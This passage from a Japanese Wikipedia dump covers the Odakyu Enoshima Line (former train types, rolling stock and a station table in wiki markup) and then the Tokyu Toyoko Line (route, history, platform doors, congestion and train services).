==== 準急 ====
[[準急列車|準急]]は、[[1946年]]10月1日から[[2002年]]3月22日まで存在した種別である。晩年は定期列車での設定はなく、年末年始の終夜臨上りでのみ運行されていた。
* 停車駅
*: 江ノ島線内各駅停車
==== 通勤急行 ====
通勤急行は、1955年3月25日から1971年4月まで存在した種別である。
* 停車駅の変遷
** [[1955年]][[3月25日]](通勤急行の登場)
**: 相模大野駅・南林間駅・大和駅・新長後駅(現・長後駅)・藤沢 - 片瀬江ノ島間の各駅
** 1962年 - 数年
**: 数年間のみ、朝ラッシュ時の上り列車の1本に限り六会駅(現・六会日大前駅)が停車駅となる。
==== 快速急行(夏季臨時) ====
1957年 - 1960年代に存在した種別で、現在の「快速急行」とは別物である。
鵠沼海岸・江ノ島への海水浴客輸送用の臨時列車で、夏季のみ運行された。
* 停車駅の変遷
** [[1957年]]
**: 相模大野駅・藤沢駅・鵠沼海岸駅・片瀬江ノ島駅
** [[1958年]] - 廃止まで
**: 相模大野駅・藤沢駅・片瀬江ノ島駅
==== 湘南急行 ====
[[湘南急行]]は、2002年3月23日から2004年12月10日まで存在した種別である。江ノ島線内では急行より停車駅を減らし、速達化を図っていた。新宿駅 - 藤沢駅間で、10両編成で運行された。また、2003年3月28日までは土休日の一部列車が片瀬江ノ島駅まで乗り入れていた。2004年12月11日のダイヤ改正で、[[#快速急行|快速急行]]に置き換えられた。
* 停車駅
*: 新宿方面・相模大野駅・中央林間駅・大和駅・湘南台駅・藤沢駅・片瀬江ノ島駅
== 車両 ==
{{Main2|過去の車両|小田急電鉄#除籍車両}}
=== 通勤型 ===
* [[小田急1000形電車|1000形]]
* [[小田急3000形電車 (2代)|3000形(2代)]]
* [[小田急4000形電車 (2代)|4000形(2代)]] - 全編成が10両編成のため、快速急行・急行で運用。
* [[小田急5000形電車 (2代)|5000形(2代)]] - 全編成が10両編成のため、快速急行・急行で運用。
* [[小田急8000形電車|8000形]]
[[小田急2000形電車|2000形]]は全編成が8両編成のため、江ノ島線では運用されない。
=== 特急型 ===
* [[小田急30000形電車|30000形「EXE」「EXEα」]]
* [[小田急60000形電車|60000形「MSE」]]
* [[小田急70000形電車|70000形「GSE」]]
== 女性専用車 ==
[[日本の女性専用車両|女性専用車]]が、平日朝7:30 - 9:30に新宿駅に到着する上り急行(相模大野から快速急行)の最後部1号車に設定されている。
== 駅一覧 ==
* [[駅ナンバリング|駅番号]]は、2014年1月より順次導入<ref>{{PDFlink|[http://www.odakyu.jp/program/info/data.info/8052_1284200_.pdf 小田急線・箱根登山線・箱根ロープウェイ・箱根海賊船にて2014年1月から駅ナンバリングを順次導入します!]}} - 小田急電鉄、2013年12月24日</ref>。
* 全駅[[神奈川県]]内に所在。
* 各駅停車は各駅に停車するため省略([[相模大野分岐点]]は通過)。
* [[小田急ロマンスカー]]の停車駅は当該項目を参照のこと。
* 小田原線との運賃計算は相模大野分岐点経由で行う。小田原方面との運賃は相模大野駅 - 相模大野分岐点間のキロ程を含めずに計算する。
; 凡例
:* 停車駅 - ●:停車、|:通過、↑:通過・当該駅の区間は上り方向のみ運転(急行のみ)
:* [[待避駅|待避設備]] - ◇:あり、空欄:なし
{| class="wikitable" rules="all"
|-
!rowspan="2" style="width:3.5em; border-bottom:3px solid #2288CC;"|駅番号
!rowspan="2" style="width:11em; border-bottom:3px solid #2288CC;"|駅名
!rowspan="2" style="width:3.5em; border-bottom:3px solid #2288CC;"|改札鋏<br /><ref>* {{Cite book|和書|author= 生方良雄|authorlink=生方良雄|coauthors = |year = 2009|title = 小田急の駅 今昔・昭和の面影|publisher = JTBパブリッシング|ref = 生方2009|id = |isbn = 9784533075629}}に掲載の改札鋏と照合。</ref>
!rowspan="2" style="width:2.5em; border-bottom:3px #2288CC solid;"|駅間<br />キロ
!colspan="2"|累計キロ
!rowspan="2" style="width:1em; line-height:1; background:#fcc; border-bottom:3px solid #2288CC;"|{{縦書き|急行}}
!rowspan="2" style="width:1em; line-height:1; background:#fdb; border-bottom:3px solid #2288CC;"|{{縦書き|快速急行}}
!rowspan="2" style="border-bottom:3px solid #2288CC;"|接続路線・備考
!rowspan="2" style="width:1em; border-bottom:3px solid #2288CC;" |{{縦書き|待避設備}}
!colspan="2" rowspan="2" style="border-bottom:3px solid #2288CC;" |所在地
|-
!style="width:2.5em; border-bottom:3px solid #2288CC;"|相模大野<br />から
!style="width:2.5em; border-bottom:3px solid #2288CC;"|新宿<br />から
|-
!OH28
|[[相模大野駅]]<br>{{smaller|([[相模女子大学]] 最寄駅)}}
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Sagami-ono.jpg|25px]]
|style="text-align:center;"| -
|style="text-align:right;"|0.0
|style="text-align:right;"|32.3
|style="text-align:center; background:#fcc"|●
|style="text-align:center; background:#fdb"|●
|[[小田急電鉄]]:[[File:Odakyu odawara logo.svg|18px|OH]] '''[[小田急小田原線|小田原線]]([[新宿駅]]及び、一部の特急のみ [[ファイル:Logo of Tokyo Metro Chiyoda Line.svg|18px|C]] [[東京メトロ千代田線]][[北千住駅]]まで直通運転)'''
|◇
|colspan="2" rowspan="3" style="white-space:nowrap;"|[[相模原市]]<br />[[南区 (相模原市)|南区]]
|-
!-
|[[相模大野分岐点]]
|
|style="text-align:center;"| -
|style="text-align:right;"|(0.2)
|style="text-align:right;"|(32.5)
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|''小田原線との実際の分岐位置''
|-
!OE01
|[[東林間駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Higashi-rinkan.jpg|25px]]
|style="text-align:right;"|1.5
|style="text-align:right;"|1.5
|style="text-align:right;"|33.8
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|
|
|-
!OE02
|[[中央林間駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Chuo-rinkan.jpg|25px]]
|style="text-align:right;"|1.5
|style="text-align:right;"|3.0
|style="text-align:right;"|35.3
|style="text-align:center; background:#fcc"|●
|style="text-align:center; background:#fdb"|●
|[[東急電鉄]]:[[ファイル:Tokyu DT line symbol.svg|18px|DT]] [[東急田園都市線|田園都市線]]([[ファイル:Tokyu_OM_line_symbol.svg|15x15ピクセル|OM]] [[東急大井町線|大井町線]]直通列車あり) (DT27)
|
|colspan="2" rowspan="6"|[[大和市]]
|-
!OE03
|[[南林間駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Minami-rinkan.jpg|25px]]
|style="text-align:right;"|1.5
|style="text-align:right;"|4.5
|style="text-align:right;"|36.8
|style="text-align:center; background:#fcc"|●
|style="text-align:center; background:#fdb"||
|
|
|-
!OE04
|[[鶴間駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Tsuruma.jpg|25px]]
|style="text-align:right;"|0.6
|style="text-align:right;"|5.1
|style="text-align:right;"|37.4
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|
|
|-
!OE05
|[[大和駅 (神奈川県)|大和駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Yamato.jpg|25px]]
|style="text-align:right;"|2.5
|style="text-align:right;"|7.6
|style="text-align:right;"|39.9
|style="text-align:center; background:#fcc"|●
|style="text-align:center; background:#fdb"|●
|[[相模鉄道]]:[[File:Sotetsu line symbol.svg|18px|SO]] [[相鉄本線|本線]] (SO14)
|◇
|-
!OE06
|[[桜ヶ丘駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Sakuragaoka.jpg|25px]]
|style="text-align:right;"|2.2
|style="text-align:right;"|9.8
|style="text-align:right;"|42.1
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|
|
|-
!OE07
|[[高座渋谷駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Koza-shibuya.jpg|25px]]
|style="text-align:right;"|2.0
|style="text-align:right;"|11.8
|style="text-align:right;"|44.1
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|
|
|-
!OE08
|[[長後駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Chogo.jpg|25px]]
|style="text-align:right;"|2.2
|style="text-align:right;"|14.0
|style="text-align:right;"|46.3
|style="text-align:center; background:#fcc"|●
|style="text-align:center; background:#fdb"||
|
|◇
|colspan="2" rowspan="9"|[[藤沢市]]
|-
!OE09
|[[湘南台駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Shonandai.jpg|25px]]
|style="text-align:right;"|1.8
|style="text-align:right;"|15.8
|style="text-align:right;"|48.1
|style="text-align:center; background:#fcc"|●
|style="text-align:center; background:#fdb"|●
|相模鉄道:[[File:Sotetsu line symbol.svg|18px|SO]] [[相鉄いずみ野線|いずみ野線]] (SO37)<br />[[横浜市営地下鉄]]:[[File:Yokohama Municipal Subway Blue Line symbol.svg|18px|B]] [[横浜市営地下鉄ブルーライン|ブルーライン(1号線)]] (B01)
|
|-
!OE10
|[[六会日大前駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Mutsuai.jpg|25px]]
|style="text-align:right;"|1.5
|style="text-align:right;"|17.3
|style="text-align:right;"|49.6
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|
|
|-
!OE11
|[[善行駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Zengyo.jpg|25px]]
|style="text-align:right;"|2.4
|style="text-align:right;"|19.7
|style="text-align:right;"|52.0
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|
|
|-
!OE12
|[[藤沢本町駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Fujisawa-hommachi.jpg|25px]]
|style="text-align:right;"|1.6
|style="text-align:right;"|21.3
|style="text-align:right;"|53.6
|style="text-align:center; background:#fcc"||
|style="text-align:center; background:#fdb"||
|
|
|-
!OE13
|[[藤沢駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Fujisawa.jpg|25px]]
|style="text-align:right;"|1.8
|style="text-align:right;"|23.1
|style="text-align:right;"|55.4
|style="text-align:center; background:#fcc"|●
|style="text-align:center; background:#fdb"|●
|[[東日本旅客鉄道]]:[[ファイル:JR_JT_line_symbol.svg|18px|JT]] [[東海道線 (JR東日本)|東海道線]]([[上野東京ライン]]・[[湘南新宿ライン]]) (JT 08)<br />[[江ノ島電鉄]]:[[ファイル:Number prefix Enoden.svg|18px|EN]] [[江ノ島電鉄線]] (EN01)
|◇
|-
!OE14
|[[本鵠沼駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Hon-kugenuma.jpg|25px]]
|style="text-align:right;"|1.5
|style="text-align:right;"|24.6
|style="text-align:right;"|56.9
|style="text-align:center; background:#fcc"|↑
|
|
|
|-
!OE15
|[[鵠沼海岸駅]]
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Kugenuma-kaigan.jpg|25px]]
|style="text-align:right;"|1.3
|style="text-align:right;"|25.9
|style="text-align:right;"|58.2
|style="text-align:center; background:#fcc"|↑
|
|
|
|-
!OE16
|[[片瀬江ノ島駅]]<br>{{smaller|([[新江ノ島水族館]] 最寄駅)}}
|style="text-align:center;"|[[ファイル:Signs of Ticket puncher Odakyu Katase-enoshima.jpg|25px]]
|style="text-align:right;"|1.7
|style="text-align:right;"|27.6
|style="text-align:right;"|59.9
|style="text-align:center; background:#fcc"|●
|
|
|
|}
== 注釈 ==
{{Notelist}}
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 関連項目 ==
{{Commonscat|Odakyu Enoshima Line}}
* [[林間都市]]
* [[日本の鉄道路線一覧]]
* [[日本の鉄道]]
{{小田急電鉄の路線}}
{{rail-stub}}
{{デフォルトソート:おたきゆうえのしません}}
[[Category:関東地方の鉄道路線|えのしません]]
[[Category:小田急電鉄の鉄道路線|えのしま]]
[[Category:神奈川県の交通]] | 2003-04-15T19:39:18Z | 2023-12-08T08:54:20Z | false | false | false | [
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6,779 | 東急東横線 |
東横線(とうよこせん)は、東京都渋谷区の渋谷駅と神奈川県横浜市西区の横浜駅を結ぶ東急電鉄の鉄道路線である。路線図や駅ナンバリングで使用される路線カラーは赤色、路線記号はTY。
田園都市線と並ぶ東急電鉄の基幹路線であり、東急電鉄の前身の一つである東京横浜電鉄が開業させた。通勤路線であると同時に、路線名が表すように東京と横浜という2つの都市を結ぶ都市間鉄道路線(インターアーバン)でもある点が特筆される。沿線には渋谷、代官山、中目黒、自由が丘、田園調布、武蔵小杉といった街を抱える。 途中経路はやや異なるものの、渋谷駅 - 武蔵小杉駅 - 横浜駅間は東日本旅客鉄道(JR東日本)の湘南新宿ラインと競合関係にある。2001年(平成13年)開業の湘南新宿ラインに対抗するために、前年の2000年(平成12年)から特別料金不要の特急(東横特急)を運行しており、速達化を図っている。
もともとは横浜駅から先の桜木町駅が終点であったが、2004年(平成16年)に横浜高速鉄道みなとみらい線(横浜駅 - 元町・中華街駅間)が開業して当路線との相互直通運転を開始するのに伴い、横浜駅 - 桜木町駅間は途中駅の高島町駅とともに廃止された。
田園調布駅 - 日吉駅間は複々線であり、うち2線の線路を使用して東横線のバイパス機能を果たしている目黒線(目黒駅 - 日吉駅間)が並走する。一部の列車は東急新横浜線(日吉駅 - 新横浜駅間)に直通し、新横浜駅から相模鉄道(相鉄)の各路線(相鉄新横浜線・本線・いずみ野線)との相互直通運転も行っている。
渋谷駅からは東京地下鉄(東京メトロ)副都心線を介して埼玉県の東武鉄道(東武)東上線小川町駅及び西武鉄道(西武)池袋線飯能駅まで、また、横浜駅からは横浜高速鉄道みなとみらい線元町・中華街駅まで相互直通運転を行っている。さらに土休日に運行される有料座席指定列車のS-TRAINは西武池袋線・東京メトロ副都心線および当路線を経由して西武秩父線西武秩父駅 - みなとみらい線元町・中華街駅間で直通運転を行っている。また、小川町駅 - 元町・中華街駅(東武線系統)および飯能駅 - 元町・中華街駅(西武線系統)のそれぞれについて、日中の時間帯に各線内を特別料金不要で最速達で運行される列車(東横線内は特急運転)については「Fライナー」の愛称がつく。
2013年(平成25年)3月15日までは中目黒駅から東京メトロ日比谷線北千住駅まで直通運転を行っていたが、副都心線直通開始とともに取りやめになった。詳しくは「直通運転」の節を参照。
明治通り(都道305号)の直下、渋谷スクランブルスクエアと渋谷ヒカリエの間の地下5階に設けられた2面4線の渋谷を出発すると、しばらくは明治通りの直下を南下し、渋谷川の真下をくぐって、渋谷清掃工場付近で南西方向にカーブし、山手線・埼京線・湘南新宿ライン(山手貨物線)などのJR線群をくぐりながら地上に向かって最大35 ‰の急勾配を上る。しばらくすると相対式ホーム2面2線の地上駅代官山に到着する。1986年(昭和61年)3月までホームが渋谷2号踏切とトンネル(渋谷隧道)に挟まれていた関係で有効長が18 m車6両分しかなかったため、20 m車6両編成では中目黒寄り1両、18 m車8両編成と20 m車7両編成では中目黒寄り2両のドアカットを行っていた。その後渋谷2号踏切を閉鎖し、ホームの半分をトンネル内まで延ばすことでドアカットを解消した。
なお、渋谷駅は2013年(平成25年)3月15日の副都心線との相互直通運転開始までは山手線渋谷駅と明治通りに挟まれた位置にあった頭端式ホーム4面4線の高架駅で、渋谷川の右岸を高架で進んでいた(跡地は渋谷スクランブルスクエア、渋谷ストリーム、国道246号横断デッキ、渋谷リバーストリート、渋谷ブリッジ、LOG ROAD DAIKANYAMAになっている)。途中では南に東京都交通局・渋谷営業所のバス群を見下しながらJR線群を跨ぎ、渋谷1号踏切を越えて代官山駅に進入していた。
渋谷隧道を抜けると目黒区に入り、上下線間に日比谷線が顔を出す。高架線で目黒川を渡ると間もなく島式ホーム2面4線の高架駅中目黒である。ホーム下には山手通り(都道317号)が通る。当駅の祐天寺寄りには日比谷線用の3本の引き上げ線があり、日比谷線の列車はすべてここで折り返す。2013年(平成25年)3月15日までは日比谷線との相互直通運転が行われており、東武伊勢崎線(東武スカイツリーライン)から日比谷線への直通、および日比谷線内のみの運用列車がここで折り返し、日比谷線直通列車が当駅で相互に乗り入れていた。また、伊勢崎線における日比谷線直通専用車両である東武2000系と東武20000系列も東横線には乗り入れることができなかったため、東横線には直通せず、必ずここで折り返していた。なお、東横線における日比谷線直通専用車両であった東急1000系には、東横線には乗り入れない北千住駅方面発の中目黒駅行の運用があったため、その際はここで折り返していた。中目黒駅の配線構造や車両規格の違いなどにより、東横線の列車はここで折り返すことは不可能である。
中目黒を出ると、目黒区を縦断する形で南南西へ進む。次の特急停車駅・自由が丘までは直線区間が続く。この辺りは特急がスピードを最も上げる区間でもある。
中央に通過線を有する2面3線の高架駅祐天寺の由来となった祐天寺は、駅から徒歩約5分である。
次の学芸大学・都立大学と大学名を取った駅名が2つ続くが、東京学芸大学は1964年に小金井市に、東京都立大学は1991年に多摩ニュータウン(八王子市)に移転した。付属高校も現存しているのは学芸大附属高のみであり、都立大附属高は2011年に都立桜修館中等教育学校に改組した。移転後に両駅の駅名変更の是非を問う住民投票が行われ、「駅名変更を可とする方」に学芸大学駅は37%、都立大学駅は過半数となる59%の票を集めたが、東急側は両駅とも、可とする方の比率が3分の2に達しなかったため駅名変更は行わないとして、現在もそのままになっている。
都立大学を過ぎると、高架線から地上に降りるため、踏切が点在する。自由通りの踏切を過ぎると、島式ホーム2面4線の高架駅自由が丘である。大井町線との接続駅であり、周辺は沿線有数の商業地で、大手進学塾も多い。また、東横線の中枢を担う駅の一つであり、ほぼ終日緩急接続が行われる。
自由が丘を過ぎると、すぐ電車は世田谷区に入るが、世田谷区内には駅はない。
環状八号線(都道311号)を潜るとすぐ大田区に入って地下線へと下り、目黒線と合流して島式ホーム2面4線の地下駅田園調布に到着する。周辺には、東急の始祖にあたる田園都市株式会社が開発した高級住宅街が広がっている。ここから南は複々線区間となり、方向別2面4線方式のホームが目黒線の終点である日吉駅まで6駅連続している(ただし元住吉駅は東横線の通過線を含めて2面6線)。田園調布の次、多摩川では東急多摩川線と接続。元々は目黒 - 蒲田間で1路線(目蒲線)であったが、2000年8月6日に路線が目黒線と東急多摩川線の2つに分割された。
多摩川を渡ると川崎市中原区に入り、新丸子を過ぎると間もなく南武線・横須賀線との接続駅武蔵小杉である。武蔵小杉は再開発され、50階を超える高層マンションが林立している。新丸子 - 武蔵小杉間が、東横線で一番駅間距離が短い区間である(約500m)。
武蔵小杉は、目黒線開業時から長らく始発・終着駅として機能していたが、2008年6月22日に同線が2つ先の日吉まで延伸開業した。現在でも、元住吉車庫への出入庫を兼ねた東横線・目黒線ともに当駅止まりおよび当駅始発の運用が存在する。
武蔵小杉を出ると、東横線はそのまま高架線を進み、目黒線はその直下の地上線を進む。用地の問題などからそのまま高架複々線化させるのが難しかったため、元住吉駅手前までの区間はこのような上下2段構造である。かつて、この目黒線の線路は東横線の本線だったが、現在は前述した通り目黒線のほかにも元住吉検車区の出入庫列車が走行している。
元住吉は2006年9月にリニューアルされ、島式ホーム2面4線の地上駅から、東横線では唯一の通過線2本を持つ島式ホーム2面6線の高架駅となった(後述)。
元住吉を過ぎ、矢上川を渡ると横浜市港北区に入り、地下駅の日吉に到着する。周辺には慶應義塾大学日吉・矢上両キャンパスのほか、日本大学中学校・高等学校もある文教地区である。また、港北ニュータウン経由で横浜線中山駅とを結ぶ横浜市営地下鉄グリーンラインが2008年3月30日に開業した。ここで複々線区間(目黒線との並走)は終了である。2023年3月18日に開業した東急新横浜線がここで分岐し、東横線・目黒線の一部の列車が新横浜および相鉄線方面との直通運転を行う。
日吉を出ると、高架線を次の綱島までほぼ直線で進む。東横線で一番駅間距離が長い区間である(約2.2km)。東横線の中で最も表定速度の速い区間の一つで、各駅停車でも時折110km/hほどのスピードが出ることがある。
かつて「東京の奥座敷」と呼ばれた綱島温泉郷を有する温泉街だった綱島だが、現在は港北ニュータウンや鶴見地区方面からの路線バスが発着するバスターミナルを持つハブ駅となっている。そのため、乗り換え駅では無いが綱島を利用する客は多い。
綱島を出ると、すぐに鶴見川を渡る。次の大倉山を過ぎると、東海道新幹線と環状2号線を潜り、島式ホーム2面4線の地上駅菊名に到着する。JR横浜線との接続駅であり、東海道新幹線の新横浜駅までは横浜線で1駅。自由が丘と同様ほぼ終日にわたり緩急接続が行われており、副都心線との相互直通運転が始まるまでは、日比谷線(からの)直通電車が折り返していた。周辺には古くからの閑静な住宅地が広がっている。
この区間は、横浜市北部の住宅地の間を縫うように線路が続いている。
相対式ホーム2面2線の妙蓮寺は、かつて改札口が上りホームにしか無く、下りホームへは地下通路を通るという東横線内の駅としては珍しいタイプの駅だったが、2000年代に入ると下りホームにも改札口が新設され、その後さらに待合室とトイレ(上りホームのみ)も設置された。
次の白楽の手前で横浜市神奈川区に入る。神奈川大学横浜キャンパスまでの間には六角橋商店街があり、大学生で溢れ返っている。白楽は相対式ホーム2面2線の橋上駅であり、ホームの真上のみに改札口があったが、2002年になると上りホーム側に西口改札が新設された。
横浜上麻生道路の上にある相対式ホーム2面2線の高架駅東白楽を過ぎると、電車は地下に入り、次の反町に滑り込む。地下駅化以前は東白楽駅から続いていた高架線が国道1号を跨ぎ終わった直後の箇所に相対式2面2線方式のホームがあり、横浜駅寄りに高島山トンネルが存在していた。
反町を過ぎ、横浜の手前で横浜市西区に入る。横浜は島式ホーム1面2線の地下駅であり、ここからは直通運転先の横浜高速鉄道みなとみらい線に入る。
高架駅時代は横浜を出ると、東海道線などを跨いだあと根岸線の高架と並行し、高島町を経て桜木町に至っていたが、みなとみらい線の開業に伴い2004年にこの区間は廃止された。
2003年1月に東急が発表した報道発表資料においては、2004年1月30日終電をもって高島町駅および桜木町駅の営業を終了・廃止し、終電後から始発前までに東白楽駅 - 反町駅間において地下線に切り替え作業を実施し、翌31日からは乗務員の習熟訓練・営業運転開始に伴う機器調整等を行うため、渋谷駅 - 横浜駅間のみの区間運転を行い、横浜高速鉄道みなとみらい線の開業はその約1週間後を予定するとされていた。
ところが、みなとみらい線開業まで横浜から桜木町駅において代行バスを用意するよう国土交通省からの指示もあったことから、この区間運転期間を最小限に止めるため、同年7月に発表された報道発表資料では2月1日に開業するとされた。
そこで、発表された計画を一部変更し、開業3か月前の2003年11月上旬に横浜高速鉄道所属車両であるY500系1本(Y516編成)、東急からは9000系1本(9008F編成)を、長津田工場から東白楽駅付近に仮設された地下搬入線路までトレーラーで陸上輸送し、みなとみらい線内に搬入し、横浜駅 - 桜木町駅間の廃止前に反町駅 - 元町・中華街駅間での習熟運転を先行して実施した。このことは、一部の報道機関が取材に訪れるなど話題となった。これにより、桜木町駅営業終了から僅か1日置いた2月1日の開業にこぎ付けた。
予定通り1月30日の終電後に東白楽駅近くで線路地下化切り替え工事が行われ、翌1月31日からは反町駅、横浜駅は地下ホームとなった。同日の臨時ダイヤでは、渋谷駅 - 横浜駅間のみの運行とし、横浜駅ですべての乗客を降ろした後、みなとみらい線内は最終訓練を兼ねて回送をするというダイヤが組まれた。
2011年(平成23年)1月25日付けで、国土交通省は鉄道事業者に対しホームドアの設置計画の提出を求め、同年2月8日に公表された報道発表資料によると、東横線はすべての駅にホームドアを設置すると記されている。この時公表された整備計画では具体的な設置時期については検討中としていたが、2015年1月9日に東急電鉄は2020年を目標に東横線内全駅の設置を目指すと発表。各駅での設置工事が順次行われ、2020年初頭に全駅でのホームドア整備が完了した。
東横線でのホームドア設置にあたり、駅手前および駅構内に、自動的にブレーキを掛けてホームの定位置に列車を停止させるTASC(定位置停止装置)の地上子を設置しており、駅での停車時には、TASCによるブレーキが列車に掛かるようになっている。渋谷駅のホームドアについては2013年3月16日の副都心線への直通運転開始と同時に地下に新設されたホームに設置されている。
2021年度の朝ラッシュ時の最混雑区間は祐天寺駅 → 中目黒駅間で、ピーク時(7:50 - 8:50)の混雑率は116%である。
沿線に多くの住宅地を抱える東横線は、かつてはラッシュ時の混雑が激しく、輸送力増強が急務となっていた。1976年度以前は混雑率が230%を越えていたが、1977年度に新玉川線(現在の田園都市線渋谷駅 - 二子玉川駅間)が開業して混雑率が210%を下回った。その後は混雑率が概ね200%前後で推移していたが、1990年度をピークに輸送人員が減少して、1996年度に混雑率が190%を下回った。2000年度に目黒線が営団地下鉄南北線(現在の東京メトロ南北線)・都営地下鉄三田線との直通運転を開始するとバイパス路線としての機能が強化され、2002年度から2019年度までは混雑率が概ね170%前後で推移している。
近年の輸送実績を下表に記す。表中、最高値を赤色で、最高値を記録した年度以降の最低値を青色で、最高値を記録した年度以前の最低値を緑色で表記している。
戦後、東横線の利用者数が増えるにつれて編成数の増加などを行い、1969年の8000系(2008年運転終了)の登場以降、3つドア18m車から、4つドア20m車のみの増備となった。これに伴い前者は、日比谷線直通電車だけで運用されるようになった。昭和末期になると、さらに混雑が深刻化したため、東横線渋谷 - 桜木町(当時)間を運行する列車は順次20m車8両編成へと増強された。
東横線の輸送需要増大に対応する抜本的対策の一つとして「東横線沿線から都心方面に向かう第2ルートの確保」が検討され、その結果として行われたのが「東横線・多摩川園駅 - 日吉駅間4.8kmの複々線化」と「旧目蒲線・目黒駅 - 多摩川園駅間の大規模改良」の実施による目蒲線経由での地下鉄への直通運転である。この工事の完成により、目蒲線改め目黒線経由での南北線・都営三田線への直通運転が行われている。
事業着手当時、田園調布駅 - 多摩川園駅(現・多摩川駅)間は西側2線が東横線、東側2線が目蒲線の線路別複々線であった。事業後は目蒲線の蒲田直通をやめて日吉方面に直通させるため方向別複々線に配線を変更、田園調布駅を地下化、多摩川園駅を高架化し、多摩川園駅では蒲田方で折り返し運転となる目蒲線蒲田方面(現・東急多摩川線)のホームを新たに地下に設置、 田園調布方向に地上との連絡線を設ける工事が行われた。
また、多摩川園駅 - 武蔵小杉駅間は、橋梁・高架線の拡幅・増設によって複々線化された。多摩川園駅の日吉方にある多摩川橋梁は複々線形式での全面架け替えが行われている。この工事は1999年5月15日に完成した。そして翌2000年8月6日、多摩川園駅を「多摩川駅」に改称し、同時に東横線の急行停車駅となった。多摩川駅を境に目蒲線は2つの路線に分離されている。
目黒線の武蔵小杉駅までの開業に引き続き、目黒線を日吉駅まで延伸する形での複々線化工事が2000年3月30日から着工された。
この第一段階として、2006年9月24日に武蔵小杉駅 - 日吉駅間が新たに完成した高架線への切り替えが行われた。この際に生じた事柄は以下の通りである。
その後、工事の進捗により2007年8月23日のダイヤ改正から、日吉駅の待避線と引き上げ線の使用を中止し、これらを目黒線のものに置き換える工事が開始された。
かつて東横線が使用していた線路の一部を整備して目黒線用の線路とし、同線を2008年6月22日に日吉駅まで延伸させた。
東横線は、2013年3月16日より開始された東京メトロ副都心線との相互直通運転に合わせ、優等列車である特急・通勤特急・急行をそれまでの8両編成から10両編成に増強した(後述)。これに伴い、優等列車停車駅においては10両編成の列車が停車できるように、2両分のホーム有効長延伸工事を実施した。
優等列車通過駅でも非常時に停車できるようにするため、順次2両分のホーム延長工事を施工している(通常延伸部は柵で塞がれており、ホームドアも設置されていない)。
本節以降、「本線系統」とあるのは横浜方面・みなとみらい線直通系統のことを指す。
土休日に2.5往復(元町・中華街行き2本、元町・中華街発3本)が運行されている、西武鉄道が主体となって運行する東急初の座席指定列車。全列車が副都心線を経由して西武池袋線まで乗り入れ、1往復は西武秩父線西武秩父駅発着となる。座席指定券は通過駅を含む東横線各駅の自動券売機で発行する。
10両固定編成の西武40000系が専用で使用される。
特別料金不要の列車としては東横線・みなとみらい線の最速達種別。乗車券のみで利用可能。全て10両編成で、平日は昼間のみ、土曜・休日は早朝・深夜をのぞく終日にわたって運転される。上下線の全ての列車が自由が丘駅と菊名駅で各駅停車に接続するほか、一部の上り特急は武蔵小杉駅にて元住吉駅で追い抜いた各駅停車に連絡する。所要時間は最速で渋谷駅 - 横浜駅間26分(元町・中華街駅までは35分)。平日始発から朝ラッシュ時までと、夕方から終電までは運転されず、代わりに通勤特急が運転される。ほとんどの列車が東京メトロ副都心線に直通し、直通先の副都心線内ではほとんどの列車が急行となる。一部時間帯に和光市駅発着が設定されている以外は副都心線を経由して西武池袋線または東武東上線に乗り入れており、西武池袋線直通は主に小手指駅発着の快速急行として、東武東上線直通は主に森林公園駅発着の快速急行としてそれぞれ乗り入れる。副都心線小竹向原駅では池袋線直通列車は有楽町線からの東上線直通列車に、東上線直通列車は有楽町線からの池袋線直通列車に連絡する場合が多いが、ダイヤ乱れ時には変更される場合がある。
主な運行開始の理由としては、JR東日本の湘南新宿ライン運行開始に先立ち、その対抗手段としての渋谷駅 - 横浜駅 - 桜木町駅(当時)間における競争力強化である。また、2000年8月6日のダイヤ改正より武蔵小杉駅 - 田園調布駅間において複々線の併用が開始(目黒線の開業)されたことで東横線のダイヤに余裕が出たことに加え、同日から急行が多摩川駅に停車するようになった。その結果、ダイヤ改正当時の急行通過駅(12駅)と同停車駅(11駅)の比率が逆転し、停車駅数が通過駅数を上回るようになった上、同駅・田園調布駅・自由が丘駅と3駅連続停車が生じたことや到達時間が延びたことで、利用客からクレームが頻発し(ほぼ1駅おきに停車することから、各駅停車をもじって「隔駅停車」と揶揄された)、新たな上位速達列車の導入を求められたことなどが挙げられる。
2016年3月26日のダイヤ改正で、東横線・みなとみらい線内特急・副都心線内急行・東武東上線内急行(2023年3月18日のダイヤ改正以降は快速急行)・西武線内快速急行の組み合わせとなる列車には「Fライナー」の愛称が付与されている。
平日の朝夕ラッシュ時間帯と夜間に特急の代わりとして運転される速達列車。特急と同様10両編成で運転される。特急停車駅に加え、日吉駅とみなとみらい線の馬車道駅・日本大通り駅に停車し、自由が丘駅と菊名駅で各駅停車に連絡する。土曜・休日ダイヤでの運行はない。夜間の一部列車を除き東京メトロ副都心線に直通し、直通先の副都心線内では主に急行・通勤急行となる。東上線内は主に普通(一部急行)、西武有楽町線・池袋線内は主に快速(一部快速急行・準急・各駅停車)となる。
